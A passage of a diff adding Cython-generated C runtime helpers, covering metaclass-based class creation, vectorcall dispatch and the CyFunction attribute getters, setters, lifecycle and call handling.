Py_DECREF(res); + goto done; + } else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } +done: + Py_XDECREF(mro); + return type_obj; +bad: + Py_XDECREF(mro); + Py_DECREF(type_obj); + return NULL; +#else + PyObject *super_type, *super, *func, *res; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + super_type = __Pyx_GetBuiltinName(__pyx_n_s_super); +#else + super_type = (PyObject*) &PySuper_Type; + (void) &__Pyx_GetBuiltinName; +#endif + super = likely(super_type) ? __Pyx_PyObject_Call2Args(super_type, type_obj, type_obj) : NULL; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + Py_XDECREF(super_type); +#endif + if (unlikely(!super)) { + Py_CLEAR(type_obj); + goto done; + } + func = __Pyx_PyObject_GetAttrStrNoError(super, __pyx_n_s_init_subclass); + Py_DECREF(super); + if (likely(!func)) { + if (unlikely(PyErr_Occurred())) + Py_CLEAR(type_obj); + goto done; + } + res = __Pyx_PyObject_FastCallDict(func, NULL, 0, mkw); + Py_DECREF(func); + if (unlikely(!res)) + Py_CLEAR(type_obj); + Py_XDECREF(res); +done: + return type_obj; +#endif +} +#endif +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, + PyObject *dict, PyObject *mkw, + int calculate_metaclass, int allow_py2_metaclass) { + PyObject *result; + PyObject *owned_metaclass = NULL; + PyObject *margs[4] = {NULL, name, bases, dict}; + if (allow_py2_metaclass) { + owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); + if (owned_metaclass) { + metaclass = owned_metaclass; + } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { + PyErr_Clear(); + } else { + return NULL; + } + } + if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { + metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); + Py_XDECREF(owned_metaclass); + if (unlikely(!metaclass)) + return NULL; + owned_metaclass = metaclass; + } + result = __Pyx_PyObject_FastCallDict(metaclass, margs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, +#if PY_VERSION_HEX < 0x030600A4 + (metaclass == (PyObject*)&PyType_Type) ? NULL : mkw +#else + mkw +#endif + ); + Py_XDECREF(owned_metaclass); +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS + if (likely(result) && likely(PyType_Check(result))) { + if (unlikely(__Pyx_SetNamesPEP487(result) < 0)) { + Py_CLEAR(result); + } else { + result = __Pyx_InitSubclassPEP487(result, mkw); + } + } +#else + (void) &__Pyx_GetBuiltinName; +#endif + return result; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = 